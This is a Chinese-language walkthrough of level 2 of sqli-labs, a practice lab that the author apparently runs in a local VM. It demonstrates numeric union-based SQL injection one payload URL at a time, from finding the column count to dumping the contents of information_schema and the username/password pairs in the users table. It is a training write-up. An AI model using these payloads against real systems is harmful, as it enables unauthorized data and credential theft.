sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
渣渣盟2 分钟前
MySQL DDL操作全解析:从入门到精通,包含索引视图分区表等全操作解析
大数据·数据库·mysql
小小工匠14 分钟前
Redis - 基本架构:一个键值数据库到底由什么组成
数据库·redis·架构
mN9B2uk1723 分钟前
为mysql数据库建立索引
数据库·mysql·oracle
SilentSamsara28 分钟前
SQLAlchemy 2.x:异步 ORM 与数据库迁移 Alembic 完整指南
开发语言·数据库·python·sql·青少年编程·oracle·fastapi
流星白龙30 分钟前
【MySQL高阶】7.MySQL日志
数据库·mysql·adb
流星白龙43 分钟前
【MySQL高阶】0.MySQL的安装
数据库·mysql·adb
Rick19931 小时前
联合索引是按顺序排好序的
数据库·mysql
步十人1 小时前
【Redis】网络高并发模型
网络·数据库·redis
我是一颗柠檬1 小时前
【Redis】列表与集合Day4(2026年)
数据库·redis·后端·缓存
AOwhisky1 小时前
Ceph系列第三期:Ceph 集群核心配置与管理
linux·运维·数据库·笔记·ceph